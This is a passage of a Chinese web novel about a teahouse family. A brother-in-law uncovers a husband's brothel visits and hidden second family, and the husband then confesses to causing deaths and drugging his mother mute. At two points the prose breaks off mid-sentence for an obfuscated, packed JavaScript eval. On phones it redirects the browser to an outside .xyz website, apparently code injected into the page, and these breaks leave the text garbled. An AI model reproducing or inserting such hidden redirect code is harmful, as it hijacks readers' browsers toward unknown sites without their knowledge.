安素海前脚刚迈进去,就有一名女子满脸笑容地迎上前来,娇声说道:“哎呀呀,真没想到啊,这王屠户今天居然还另外给介绍了一位爷过来呢。这王屠户也真是的,也不提前跟我打个招呼,害得我差点儿就怠慢了您呐!” 安素海闻言,一脸疑惑地问道:“王屠户?” 那女子见状,连忙解释道:“是啊,就是住在隔壁的那个王屠户呀,难道您不是他介绍来的吗?您看您这不是刚从王屠户家里走过来嘛!来都来了,就别客气啦,快进去让里面的姑娘们陪您喝两杯嘛!”说罢,她还调皮地朝安素海眨了眨眼,然后迅速朝着里面使了个眼色。 只见眨眼之间,又有两个年轻漂亮的女子如轻盈的蝴蝶般飘然而至,一左一右地簇拥着安素海,亲亲热热地说道:“爷,快请进吧!” 安素海猝不及防,被这突如其来的热情弄得有些不知所措,他一边奋力挣脱着两个女子的纠缠,一边焦急地喊道:“别动我,我可没什么钱啊!” 两个女子一听这话,脸色瞬间变得难看起来,其中一个女子二话不说,立刻像甩开烫手山芋一样松开了手,还嫌弃地拍了拍自己的手,仿佛那上面沾了什么脏东西似的,同时还狠狠地瞪了安素海一眼,满脸鄙夷地说道:“没钱你早说啊,穷鬼,来这里凑什么热闹!”说完,她头也不回地转身离去,留下安素海站在原地。 另外一名女子也打算转身离去的时候,被安素海叫住了:“姑娘,我这儿还有一些钱,只想找姑娘打听一点事情,打听完了我就走!” 只见那女子笑面盈盈的收了钱,说道:“说吧,我们这醉春阁里最多的就是秘密,既然收了你的钱,只要你问的是我知道的,自然会告诉你的!” 安素海向眼前的女子作了一个揖:“谢谢姑娘!我想问下,可否见过一个叫冯玉航的人进来?” 却见那姑娘捂着嘴笑道:“你这问题问的可真是好笑,你以为别人冯老板像你一般,进来就只是看看吗?像冯老板那么大气的人,姐妹们巴不得去跟前儿伺候着呢!”说着还叹了一口气,继续说道:“可惜啊,人冯老板的要求可高着呢,回回来了都问妈妈要那没开瓜的雏儿,您就说,天底下哪儿有那么多雏儿!” 安素海听到这句话,只觉得脑海中仿佛有一道晴天霹雳划过,震得他整个人都有些发懵。他瞪大了眼睛,难以置信地看着对方,喃喃自语道:“冯玉航果真是那样的人?” 一旁的女子见状,不禁好奇地问道:“这位爷,看您这副表情,难不成您跟那冯老板认识不成?” 安素海连忙回过神来,他定了定神,摇了摇头说道:“不认识,我就是随便打听一下,他是不是经常来这里?” “算是常来吧,这冯老板出手阔气,跟前儿伺候的,端茶倒水的各个都给赏钱,醉春阁的女人啊,各个都陪过冯爷!” 那女子突然偷偷伸过头来,小声说道:“悄悄告诉你件事情,前两年,有个叫小星的端茶的小妹妹愣是被他强迫给破了身子,后来还怀上了个孩子!听说他还给赎出去了,妈妈可赚了一笔钱呢,也不知道那个小星后面被安顿在了哪里?不过在我们这些人眼里,小星也算是有福气的,至少不用像我们一样,可能一辈子都要被困死在这个人吃人的地方!” 然而,安素海听到这些话时,心中不由得涌起一股强烈的情绪。他的手指头紧紧掐进了肉里,似乎想要用这种方式来缓解内心的痛苦和不满。 安素海的心里不禁思索着:他冯玉航进醉仙楼消遣,他身为男人可以理解,但是他竟在外面还金屋藏娇又有孩子!这让他替妹妹感到不值,妹妹这些年为了这个家,起早贪黑,当初他冯玉航的父母病重之时,都是安素素侍奉公婆,如果事实真是这样的话,那他冯玉航简直就是良心被狗吃了去…… 安素海心中的怒气愈发难以遏制,他决定亲自去查看一下那个冯玉航是否真的在里面。于是,他提高了嗓音,对着面前的女子问道:“他冯玉航在哪个屋里?” 那女子似乎对安素海的问题有些惊讶,但还是礼貌地回答道:“那您恐怕是进不去的呢!冯老板每次来我们这里,都会花费重金把楼上那一层全部包下来……而且,就算是我,如果没有得到冯爷的允许,也是绝对上不去的!” 安素海显然对这个回答并不满意,他皱起眉头,继续追问:“难道还会有人专门守着不成?” 那女子微微一笑,解释道:“对于像冯老板这样的大客户,妈妈自然会格外留心啦!毕竟,她可不想流失了这样的大客户。” 正当两人交谈之际,突然从楼上传来一个女人的声音:“香菱,你不陪着这位爷去屋里坐着,站在这里干什么呢?” 安素海听到这个声音,连忙说道:“多谢香菱姑娘陪我喝了一杯,不过我还有些其他事情需要处理,就先告辞了。下次有机会,我再来找姑娘叙旧!”说完,他向那女子点了点头,转身离去。 安素海转身正准备迈步离去,突然听到身后传来老妈子的声音:“香菱啊,就只喝了一杯吗?这钱付过了没有啊?” 香菱站在原地,似乎有些犹豫,还没来得及开口回答,安素海已经随手又掏出一张票子,直接递给了那老妈子。他面无表情地说道:“这够我喝的那一杯了吧?” 老妈子接过票子,脸上立刻绽放出灿烂的笑容,连连点头道:“够了,够了!先生真是大方啊!不过,您看要不要再让香菱给您唱个曲儿呢?香菱的琵琶可是非常拿手的哟!” 然而,安素海对老妈子的提议完全视而不见,他甚至都没有多看香菱一眼,便自顾自地迈开步子,径直走出了那醉春阁。 安素海拖着沉重的步伐回到了茶楼,安素素和冯玉龙远远的就看到了安素海,安素素一脸疑惑的问道:“你刚才不是在屋里吗?什么时候出去的?” 安素海面对自己的妹妹,却有些不知道该怎么说出口! 安素海稍稍停顿了一下,脸上露出些许不满的神色,说道:“还不是跟着他冯玉航出去了!” 听到这话,安素素不禁感到有些诧异,她瞪大了眼睛,难以置信地问道:“他出去了?我竟然都不知道!” 安素海无奈地摇了摇头,叹息道:“别说是你不知道,我们这些年恐怕都被他蒙在鼓里了!” 安素素心中越发好奇,急忙追问:“那他去哪儿了?” 安素海深深地吸了口气,似乎有些难以启齿,但最终还是缓缓说道:“妹妹,你要有点心理准备!” 安素素见状,心头一紧,但还是强作镇定地说:“你说吧,我挺得住!” 安素海看了一眼冯玉龙,犹豫了片刻,然后终于下定决心,压低声音说道:“我刚才见他进了醉春阁!我向里面的人打听了,他是常客!” 冯玉龙虽然一直没有说话,但是他一直默默的在听着! 当他听到这一句时,心中的怒火瞬间被点燃,他的脸色变得阴沉至极,二话不说,转身快步走向门口,嘴里还愤愤地说道:“娘,您放心,我这就去把他给您揪回来!” 然而,就在他即将踏出门口的一刹那,一只强有力的手紧紧地抓住了他的胳膊,他转过头,看到的是安素海那张严肃而又焦急的脸庞。 “玉龙,你先别急,听我说!”安素海的声音低沉而有力,透露出一种不容置疑的威严。 被安素海突然抓住,玉龙有些恼怒,但看到舅舅如此认真的表情,他还是稍稍冷静了下来,停下了脚步,等待着安素海继续说下去。 安素素见状,也快步走过来,一脸疑惑地望向安素海,问道:“大哥,还有什么事情比这还重要呢?” 安素海像一个犯错的孩子一样,默默地低垂着头,说道:“对不起,妹妹,这些年让你过的这么辛苦,大哥我竟然什么都没有发现!方才醉春楼的香菱姑娘说,冯玉航他……他在醉春楼里给一个名叫小星的姑娘赎了身,那姑娘还怀了他的孩子,如今那孩子也不知道几岁了?你们说,那人他会安置到哪里去了呢?” 第143章 败露 安素素听完顿觉一阵头晕目眩,有些站立不稳! 冯玉龙心急如焚,三步并作两步冲到母亲身边,紧紧地扶住她,满脸焦急地喊道:“娘,您可千万不能有事啊!他要出去就让他出去好了,您还有我呢,我会一直陪伴在您身边的!” 安素素凝视着眼前的儿子,心中百感交集。她缓缓抬起手,轻柔地抚摸着儿子的脸庞,颤抖着嘴唇问道:“玉龙,你告诉娘,你是不是早就知道了这件事?” 这一问,犹如一道晴天霹雳,不仅让冯玉龙惊愕不已,就连一旁的安素海也瞠目结舌,满脸狐疑地望向冯玉龙。 面对母亲的质问,冯玉龙的大脑瞬间一片空白,他连忙摆手解释道:“娘,我真的不知道啊!那个小星是谁,我压根儿就没听说过啊!” 安素海见状,赶忙附和道:“是啊,妹妹,连我们都不曾知道的事情,玉龙又怎么可能知晓呢?你就别胡思乱想啦,我相信玉龙绝对不是那样的孩子。他要是早知道此事,肯定不会瞒着你和我的啊!” 安素素缓缓地点了点头,然后默默地走到窗边,缓缓地坐了下来。她的目光有些呆滞地望着窗外:“你们都出去吧,我想一个人静一静。” 冯玉龙见状,连忙走到安素素身旁,关切地说道:“娘,您别太伤心了,儿子会一直陪着您的。” 安素海也走了过来,安慰道:“事已至此,您还是要想开一些啊。如果您觉得在这里待着不舒服,我现在就带您回家去。” 然而,安素素却轻轻地摇了摇头,语气坚定地说:“放心吧,我已经不是小孩子了,不会因为这点事情就想不开的。我只是实在想不明白,他究竟是从什么时候开始刻意欺骗我的呢?明明他每天都在我的眼皮底下,我怎么就一点都没有察觉到他在外面还有个孩子呢?” 冯玉龙听着心底也是一团乱麻,他这个爹还真是到处留情,原以为玉露这个妹妹就够让人头疼的了,这怎么还又冒出来一个…… 此时,安素海好像是想到了什么,嘀咕道:“他每月都要出去采买茶叶,一去就是十天半月,该不会是这其中有什么问题吧?” 就在这一刹那,三个人的目光交汇在一起,彼此心领神会,都觉得对方所说的话确实有几分道理。 今日的茶楼,早早的便歇了业。店铺里的帮工伙计也全部早早的放了假!这异常的情况让过路的众人摸不着头脑,纷纷猜测其中的缘由,但始终不得其解。 时间一分一秒地过去,夜幕渐渐降临。冯玉航揉着睡眼惺忪的双眼,又从茶楼的后门偷偷溜了回来。 然而,当他踏入茶楼的那一刻,一种异样的感觉涌上心头。今日的茶楼显得格外冷清,与平日的喧嚣形成了鲜明的对比。他不禁心生疑惑,忍不住向前院望去,却发现空荡荡的院子里竟然连一个人影都没有,这实在是太奇怪了! 冯玉航并没有过多地思考,他径直朝着自己的房间走去。当他推开房门的瞬间,一股寒意扑面而来,他突然感觉到房间里的气氛有些不对劲。定睛一看,只见房间里的三个人都阴沉着脸,冷冷地盯着他,仿佛他们一直在等待着他的归来。 冯玉航吓了一大跳,擦着那额头上沁着的汗珠,尴尬的笑着:“你们怎么都坐这儿干嘛呢?!” 安素海根本忍不住自己的暴脾气,还没等他反应过来,就给他了两拳头,嘴里还说着:“要不是看在我妹子的面子上,老子真想把你丢进河里去喂王八!” 冯玉航满脸委屈,用手臂紧紧的护住自己的头,抽泣着哭诉道:“大哥,您怎么能这样对我呢?我只是出去上了一趟茅厕而已啊,回来就莫名其妙地挨了您一顿打,这到底是怎么回事啊?”他一边说着,一边用眼角的余光偷偷瞄了一眼在一旁的儿子,心中暗自揣测,莫不是玉龙这小子说了些什么不该说的话吧? 然而,还没等冯玉航把话说完,安素海突然又是一脚踹了过来,这一脚力道十足,直接把冯玉航踹倒在地。安素海怒目圆睁,对着冯玉航吼道:“你少在这里给我装糊涂!谁上茅厕能上到天黑了才回来?你当我是傻子吗?” 冯玉航被这突如其来的一脚踹得有些发懵,但他很快回过神来,连忙解释道:“大哥,您别生气啊,我……我是去找王屠户喝酒去了!”他心里暗自松了一口气,心想:王屠户收了我那么多钱,就算大哥真的去问他,他肯定也不会把实情说出来的! 冯玉航三步并作两步跑到了安素素的面前:“素素,你可要相信我啊,我一个月没出门了,就是馋那么一口酒了而已,我真的只是出去喝了几杯啊,你要是不信可以去问问那王屠户啊!” 但是令冯玉航没想到的是,安素素从始至终一句话都没有说,竟抬手朝他扇了一巴掌…… 冯玉航还没反应过来,安素海抬腿又是一脚踹了过来,然后揪起他的衣领:“王屠户是吧?喝酒去了是吧?是不是二楼被你这位冯老板全包了啊?醉春楼的花酒应该很好喝吧?我们安家书香门第,当处就不该把我妹妹嫁给你这种渣子!” 冯玉航此时才明白过来,这安素海是怎么知道的呢?但是他也不傻,他立马爬过去抓住安素素的手,哭诉道:“素素,你可一定要相信我啊,醉春楼不是我要去的,是那个王屠户他硬拽着让我去的!我真的只是去喝了两杯,什么都没做过啊!” 他原本满心欢喜地以为,只要自己稍微哄一哄,安素素就会像往常一样原谅他。然而,让他万万没有想到的是,安素素只是用一种极其淡漠的口吻说道:“你让我觉得恶心!” 这一句话如同一把利剑,直直地刺进了他的心脏。他惊愕地看着安素素,一时间竟然无法相信自己的耳朵。 就在这时,冯玉龙快步走到他们面前。他毫不犹豫地伸出手,一把将父亲的手从母亲的手上扯开,然后一把推开了他,一脸严肃地说道:“我母亲说了你恶心,所以请你离我母亲远一点!” 冯玉航完全没有料到,自己的儿子竟然会如此大胆地对他说话。他瞪大了眼睛,满脸怒容地看着冯玉龙,怒吼道:“小兔崽子,你翅膀硬了是不是?我可是你爹,你竟然还敢推你老子?” 然而,冯玉龙并没有被父亲的气势所吓倒,他挺直了身子,毫不畏惧地迎上父亲的目光,坚定地说道:“我只是在维护我母亲,我不允许任何人伤害她!” 就在两人僵持不下的时候,安素素突然又有了动作。只见她迅速地抬起手,毫不留情地朝着冯玉航的脸上狠狠地扇了一巴掌。 这一巴掌打得又快又狠,冯玉航根本来不及躲闪。只听“啪”的一声脆响! 打完之后,安素素冷冷地看着冯玉航,说道:“我的儿子,你没资格管!” 冯玉航怒不可遏地吼道:“他也是我的儿子,我凭什么不能管!”他的声音在茶楼里回荡。 就在这时,安素海也大步走了过来,他的脸色阴沉得吓人,眼神中透露出一丝威严和威胁。他站在冯玉航面前,大声回应道:“你想干什么?你再敢大声吆喝一句,我让你这辈子都别想走着出这个门!” 冯玉航被安素海的气势吓了一跳,但他并没有示弱,反而更加激动地指着眼前的人,怒声说道:“好啊,你们别忘了,这里可是我们冯家的茶楼,你们安家难道是想要霸占我们冯家的产业不成!” 安素素在一旁看着这一切,心中不禁涌起一股愤怒。她瞪大眼睛,看着冯玉航,毫不客气地说道:“好啊,既然是你冯家的,我走便是!”说完,她转身就要离开。她正欲抬脚离开,安素海拉住了她:“你怕是忘了,冯叔走之前,立的字据可是将这茶楼送给了我安家,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451655|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是念在你是我妹夫的份上,我从未提过此事!既然你执意如此,明日我就将这茶楼卖了也罢!” 冯玉航满脸惊愕地望着安素素,他的眼睛瞪得大大的,似乎无法接受眼前的事实。他的嘴唇微微颤抖着,声音带着难以置信的语调:“你骗我?你居然骗我?当初你明明说过,你已经把那字据烧掉了啊!” 安素素的脸色变得阴沉,她冷冷地看着冯玉航,嘴角泛起一丝嘲讽的笑容:“原来,这才是你的真正目的!”她的声音平静,但其中蕴含的失望和愤怒却让人不寒而栗。 一旁的安素海也插话道:“是我骗她说已经烧了的,我真是庆幸当初没有听我妹妹的话,要不然,还不知道你是这种过河拆桥的人,不知道要被你算计成什么样子呢!”他的语气充满了鄙夷和愤恨。 听到安素海的话,冯玉航的脸色瞬间变得惨白,他的身体像被抽走了所有的力气一样,软绵绵地跪了下来。他的双手紧紧抓住安素素的衣角,苦苦哀求道:“素素,我知道错了,你就饶过我这一次吧!我以后再也不敢了,求你了!” 然而,安素素却对他的求饶无动于衷。她扭过头去,紧闭双唇,一句话也不说,仿佛根本没有听到冯玉航的哀求。 安素海见状,心中的怒火更加旺盛。他大步上前,一把揪住冯玉航的衣领,像拎小鸡一样将他提了起来,然后毫不留情地将他扔到了大街上。 冯玉航怒不可遏,满脸涨得通红,他瞪大了眼睛,对着安素海破口大骂:“姓安的,你这个无耻之徒!这里可是我冯记茶楼,你有什么资格对我动手动脚!” 安素海狠狠地瞪了冯玉航一眼,那眼神犹如两道寒芒,把冯玉航吓得吞了吞口水,不由自主地接连后退了几步,生怕对方会再上来揍他一顿似的。 安素海见状,嘴角微微上扬,露出一抹不屑的笑容。他转过身去,头也不回地走进了茶楼,然后“砰”的一声关上了大门,将冯玉航隔绝在了门外。 冯玉航站在原地,气得浑身发抖,他的手指着紧闭的大门,嘴里还在不停地咒骂着:“小人!真是个卑鄙无耻的小人!” 就在这时,楼上的安素素将这一切都看在了眼里。她静静地站在窗前,望着楼下的冯玉航,心中涌起一股复杂的情绪。她轻轻地叹了一口气,自言自语道:“我本就不喜欢做生意,要不是因为嫁给了他,我绝不会涉足这茶楼的生意。可他说他想要把这个茶楼经营好,我也就只好支持他了。没想到,如今竟然变成了这个样子……” 安素素的目光缓缓移向了坐在一旁的儿子,她温柔地问道:“玉龙,你愿意接手这茶楼吗?如果你愿意的话,从明天开始,你就是这茶楼的新老板了。但如果你不愿意,那我们就把这茶楼卖掉吧。”她一边说着,一边用手抚摸着那窗帘,这里的每一个物件都是她亲自挑选的,如今看来只剩下心酸和讽刺! 冯玉龙看着母亲的模样,内心不由得一阵心疼,他不假思索的便回答道:“娘,如果这个地方让您觉得不开心的话,我们就卖了吧,儿子带您去别的地方生活!” 就在这时,安素海迈步走进了房间。他的步伐显得有些沉重,但眼神却异常坚定。他看着安素素,缓缓说道:“妹子,玉龙说得没错。他欺骗了我们这么多事情,确实应该让他为此付出一些代价!” 安素素抬起头,泪眼朦胧地看着安素海,嘴唇微微颤抖着,似乎想要说些什么,但最终只是轻轻地喊了一声:“大哥……” 安素海见状,心中一阵酸楚,他连忙走到安素素身边,拍了拍她的肩膀,安慰道:“妹子,你别难过!大哥我已经决定好了,明天就把这茶楼卖掉。你还记得吗?你以前最喜欢的就是画画了。现在有大哥在,你不用再为生活担忧,可以放心地去追求你真正喜欢的事物了!” 第144章 “安父” 安素素听着安素海的话,泪水像决堤的洪水一般涌出眼眶。她哽咽着说:“大哥,谢谢你……可是,我真的能行吗?” 一旁的冯玉龙突然插嘴道:“我娘还喜欢画画?!”他的语气中充满了惊讶和好奇。 安素海嘴角微扬,露出一抹淡淡的笑容,缓声道:“你娘对画画的喜爱,岂止是一般程度呢。想当年,你外祖父在世时,虽然只是一名教书先生,但他在水墨丹青方面的造诣堪称出神入化!只可惜啊,我对这方面并无多大兴趣,反倒是你娘,完美地继承了我爹七八分的真传。” 他微微叹息一声,接着说道:“你外祖父在世时,最为自豪的事情便是他的绘画技艺能够传承到你娘手中。然而,自从你娘结识了你爹之后,一切都发生了变化。你爹曾说,他对那些文绉绉的东西毫无兴趣,于是你娘便从此不再触碰纸笔。这么多年过去了,每当我想起你外祖父,心中都会为你娘感到无比惋惜。” 说到此处,安素海转头看向冯玉龙,语重心长地劝道:“妹妹,你若是现在重拾纸笔,也还来得及啊!” 冯玉龙听闻此言,满脸惊愕,显然他对这些事情一无所知,不禁感叹道:“娘,我竟然对这些全然不知!” 安素素笑了笑,还没说什么,却见那冯玉航在下面骂骂咧咧了几句,见有街坊问他发生了什么,冯玉航感到脸上火辣辣的,他觉得自己实在是太丢脸了,以至于连话都说不出来。他只能勉强挤出一个比哭还难看的笑容,然后抬起头,对着楼上面的安素素大喊道:“哼,此处不留爷,自有留爷处!” 话音未落,冯玉航像是生怕别人看见他一样,迅速地抬起脚,头也不回地大步走开了。 然而,就在这时,安素素却突然坐不住了。她“噌”的一下站了起来,满脸焦急地说道:“不行,我得跟着去看看!” 安素海见状,连忙伸手拦住了安素素,他皱起眉头,语重心长地对她说:“妹子,事到如今,你难道还对他抱有一丝幻想吗?他都已经这样对你了,你还要去挽留他不成吗?” 安素素咬了咬嘴唇,眼神坚定地看着安素海,回答道:“大哥,我知道你是为我好,可是如果我不去看个明白,可能这辈子我都会想不明白!我一定要弄清楚他到底还有多少事情瞒着我!” 见安素素执意要去,安素海和冯玉龙便陪同安素海一起下了楼,悄悄地跟在了冯玉航的身后! 冯玉航一脸怒气的在前面走着,一个叫花子端着破碗上前:“大爷,赏口吃的吧!我都饿了两天了……” 谁想到下一秒,冯玉航冲着那叫花子身上就是乱踹,出了几口恶气以后,还朝着那叫花子啐了一口唾沫,骂骂咧咧道:“我呸,饿**拉倒!老子的钱也是你这狗东西想要就能要的!”说着又朝着那乞丐踹上一脚后气势汹汹地离开,那乞丐缩在地上抱着脑袋一动也不敢动! 此时,安素素望着冯玉航的背影,心中充满了惆怅:到底什么样子才是他真正的样子,与她同床共枕这么多年,难道看到的都只是假象吗?她认识的冯玉航明明是个心地善良的人,但是遇到的乞丐也好,流浪狗也罢,他都会好心的给上食物!可刚才那个恶魔般的人……着实令人有着意想不到! 冯玉龙掏出两张钞票放在那乞丐的手中,说道:“对不起,这钱你拿着,快去买些吃的吧!” 那乞丐连连磕头道谢:“多谢这位大爷!” 安素海看着前方渐行渐远的冯玉航,转头对安素素说道:“他去西街了,我们还要继续跟着吗?” 安素素目光紧盯着冯玉航的背影,毫不犹豫地回答道:“当然要跟,我倒要看看他究竟要去什么地方。” 于是,几人紧紧跟随在冯玉航身后,穿过熙熙攘攘的西街,眼看着他左拐右拐,最后竟然钻进了一条僻静的小巷子里。 冯玉航似乎对这里非常熟悉,轻车熟路地走到巷子尽头,推开一扇木门,走了进去。 安素素等人站在门外,透过门缝向里张望,只见里面是一个挺大的院子,里面还有几间房屋。院子里种着一些花草,虽然略显杂乱,但也透出几分生机。 “这地方可真够隐蔽的。”安素素低声嘟囔道,“茶楼明明在东街,没想到他在西街还有这么大一进院子。” 安素海见状,二话不说,上前一步,抬手用力敲了敲门。 “咚咚咚!”敲门声在安静的巷子里回荡,显得格外响亮。 过了一会儿,门缓缓地打开了,一个年轻的女子出现在门口。她身穿一袭素色的衣裙,面容清秀,眼神中透露出一丝疑惑。 “请问,你们找谁?”女子轻声问道。 冯玉龙见状,连忙上前一步,朝着那女子说道:“你就是那个小星?” 女子微微点头,应道:“是我,不过,我好像并不认识你们……” 安素海见状,走向前去:“我们不是来找你的,我们是来找冯玉航的!” 话还没说完,安素海便一把推开了那名女子,径直走了进去。 院子里有一棵老树,繁茂的枝叶在微风中轻轻摇曳,仿佛在欢迎这突如其来的不速之客。树下,一个精致的秋千正随风摆动,仿佛在诉说着曾经的欢乐时光。 就在这时,屋内突然传来一阵欢快的笑声,那是冯玉航逗孩子的声音:“儿子,快过来,爹教你认字啦!” 安素海听到这声音,心中的怒火瞬间被点燃,他怒不可遏地一脚踹开了房门,门发出一声巨响,然后“哐当”一声倒在了地上。 门被踹开的瞬间,屋内的情景展现在了安素海的眼前。只见冯玉航正抱着一个三四岁大的孩子,脸上洋溢着慈父般的笑容。 “妈的,谁啊?敢在我家里胡闹?”冯玉航怒吼道。 他万万没有想到,来人竟然是安素素兄妹俩,还有冯玉龙。 冯玉航的脸色变得极为难看,他下意识地将怀中的孩子丢到了地上,然后摸了摸那孩子的头,说道:“去,找你娘去!” 那孩子显然被这突如其来的变故吓到了,他飞快地扑向了那年轻女子的怀抱。 “娘,我怕!” 年轻女子连忙抱起了孩子,轻声安慰道:“玉强,不怕,他们不会伤害我们的!” 冯玉航看向安素素,满脸怒容地说道:“你们竟然跟踪我?” 安素素瞪着双眼,她难以置信地看着冯玉航,心中充满了失望和愤恨。 “算我瞎了眼,居然这么多年都没能认清你是这种人!”安素素的声音因为激动而有些颤抖。 冯玉航却毫不示弱,他挺直了身子,一脸冷漠地回应道:“这里不是茶楼,也不是你们安家,你们没资格在这里对我说三道四!” 然而,他的话还没有说完,安素素突然扬起手,狠狠地扇了他一巴掌。清脆的响声在空气中回荡。 “我究竟是做错了什么,让你如此对待我?”安素素的泪水在眼眶中打转,她的声音带着哭腔,让人听了不禁心生怜悯。 冯玉航被这一巴掌打得有些发懵,他捂着脸,脸上露出惊愕和愤怒的表情。 “你个**居然打我!”冯玉航怒不可遏地吼道。 然而,当他想要还手又看到安素海那冷冽的眼神时,心中不禁涌起一丝惧怕。他强作镇定,嘴角露出一丝冷笑,说道:“既然你都已经看到了,我也没什么可说的,你想怎么样就怎么样,离开了你,我照样可以生活的快活如意……” 他的话还没有说完,安素海就突然朝他扑了过去。安素海的拳头如雨点般落在冯玉航的身上,每一拳都带着无尽的愤怒和怨恨。 “你这说的都是什么话,你爹娘病重的时候,都是我妹妹在床前照顾,你居然这么狼心狗肺……”安素海一边痛揍着冯玉航,一边怒吼着。 冯玉航突然发出一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455862|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂笑,那笑声在空气中回荡,带着几分嘲讽和不屑。他嘴角上扬,露出一丝轻蔑的笑容,说道:“就那两个老东西,早就该**!你自己愿意去照顾他们,还需要我感谢你们?” 安素素惊愕地看着冯玉航,她无法相信眼前这个曾经温柔体贴的男人竟然会说出如此冷酷无情的话。她的声音略微颤抖着,问道:“你怎么变成了这样?” 冯玉航的笑声戛然而止,他的脸色变得阴沉下来,冷冷地回应道:“怎么?是不是觉得我心思狠毒,配不上你安大小姐啊?” 安素海听到冯玉航的话,气得满脸通红,他怒视着冯玉航,然后猛地朝着他啐了一口唾沫,骂道:“呸,早知道你是这种人,你叫我们安家的门槛儿你都别想踏进去!” 冯玉航的身体微微一震,他的眼中闪过一丝愤怒,但很快就被一种无奈和自嘲所取代。他缓缓地说:“是啊,我还能不知道嘛,你那个教书先生的爹,一开始就看不上我,他说我鼠目寸光,心胸狭隘,且胸无半点文墨……根本配不上你安素素……” 安素素满脸惊愕,难以置信地看着冯玉航,声音略微颤抖地问道:“你……你怎么会知道这些?!” 冯玉航嘴角泛起一丝冷笑,得意洋洋地回答道:“还不是那日去你家,无意间听到的!从那时候起,我就下定决心,不仅一定要娶你为妻,还要将你所喜欢的一切都毁掉!只要你看一本书画,我就烧掉一本!我要让你彻底沦为那烧茶水的粗使婆子!我要让你那个爹看着他最自豪的女儿变成和他最讨厌的胸无点墨的人一个样子,哈哈哈哈……” 安素素听着冯玉航疯狂的笑声,只觉得双腿发软,仿佛支撑不住身体的重量。一旁的冯玉龙见状,急忙上前扶住了母亲,关切地问道:“娘,您没事吧?” 安素海再也无法忍受冯玉航的胡言乱语,他怒不可遏地冲着冯玉航吼道:“你不喜欢素素,为何又要娶她?!” 冯玉航却不以为意,脸上的笑容愈发张狂,他挑衅地看着安素海,说道:“这就生气了?那你不知道的事情还多着呢!” 安素海满脸怒容,他瞪大了眼睛,死死地盯着冯玉航,声音低沉而又带着一丝威严地说道:“你这是什么意思?你跟我说明白!” 冯玉航嘴角微微上扬,露出了一抹狡黠的笑容,他不紧不慢地回答道:“想知道啊!你求我啊!” 安素海的怒火瞬间被点燃,他的脸色变得铁青,额头上的青筋也因为愤怒而凸起。他紧握着拳头,咬着牙关说道:“我看你是不想活了?” 冯玉航见状,不仅没有丝毫畏惧,反而挑衅地看着安素海,冷笑道:“怎么?你还敢杀了我不成……” 就在两人僵持不下的时候,一直沉默不语的安素素突然开口了。她的声音轻柔却坚定,“大哥,你先出去,我要让他亲口告诉我!” 安素海闻言,转头看向妹妹。只见安素素的眼神坚定而又决绝,她显然已经下定了决心。安素海犹豫了一下,最终还是点了点头,然后转身走了出去。 安素素一脸凝重地看着儿子,缓缓说道:“玉龙,你也出去吧!” 冯玉龙连忙摇头,语气坚定地说:“娘,我不出去,我也要在这里!我知道,您是不想让我知道太多了伤心,可是我也一样不想让您伤心啊!” 冯玉航见状,说道:“我的好儿子,要不是因为你,你爹我现在还过的潇洒的很呢!” 安素素眉头微皱,瞪了冯玉航一眼,厉声道:“你有什么话就直说吧,跟玉龙没有关系!” 冯玉航看了一眼安素素,干脆在榻上斜靠着,一脸无所谓的样子,说道:“告诉你也无妨,你那个自以为是的爹,有一次我去醉春楼寻欢作乐,结果不小心被他撞见了。他当场就怒不可遏,非要跟我理论一番。我当时也是多喝了几杯,就那么随手一挥,谁能想到他自己竟然没站稳,‘扑通’一声掉进了河里!” 第145章 井水不犯河水 安素素满脸不可置信地望着冯玉航,声音颤抖地说道:“我爹落水居然是因为你!” 冯玉航却不以为然,他一脸无辜地反驳道:“那可不怪我,是他自己没站稳掉下去的!” 安素素气得浑身发抖,她怒不可遏地吼道:“你明知他落水,为何不救?” 冯玉航却理直气壮地回答:“我是没救啊,可是我爹看到你爹落水后,他不是跳进去救了嘛!只可惜,他水性不好,还硬要逞强!不仅没有救出你父亲,反而他自己也落下了一身毛病!所以,我也不欠你的,我爹还不是一样,因为要救你爹才患上肺疾走的!” 安素素的声音略微提高了一些,带着些许不满和委屈,“你的意思是都怪我们了?” 冯玉航显然没有料到安素素会如此直接地质问,他稍稍愣了一下,然后反驳道:“不怪你们,难道还怪我不成?” 安素素的情绪愈发激动起来,她看着冯玉航,问道:“那你娘呢?你娘病重的时候,都是我在身旁照顾着!” 冯玉航的脸色变得有些难看,他沉默了片刻,似乎在思考如何回应安素素的指责。 终于,他缓缓地开口道:“她?……她本来就没什么病,只是他跟我爹一样,亲眼看到了我和你爹拉扯之中让你爹落了水,偏偏我爹又没能把你爹给救上来,她就天天劝我给你道歉!所以我让她闭嘴,我实在是想不明白,她怎么不能替我想一想!她见劝不动我,那日非说要把真相告诉你,我一时心急扯住了她,可就是那一扯,偏偏让她不小心从楼梯上摔了下来!她以为我是故意想要摔死她,说什么都非得要把知道的事情都告诉你,索性我一狠心,在你给她炖的药里加了哑药,要不然她可就差点儿把实情都告诉你了!” 安素素满脸怒容地指着冯玉航,怒斥道:“怪不得当时她哭着连连向我道歉,我还没明白为什么,她就突然说不出话来了!原来这一切都是你搞的鬼!你怎么能如此狠毒,连自己的母亲你都要下手!” 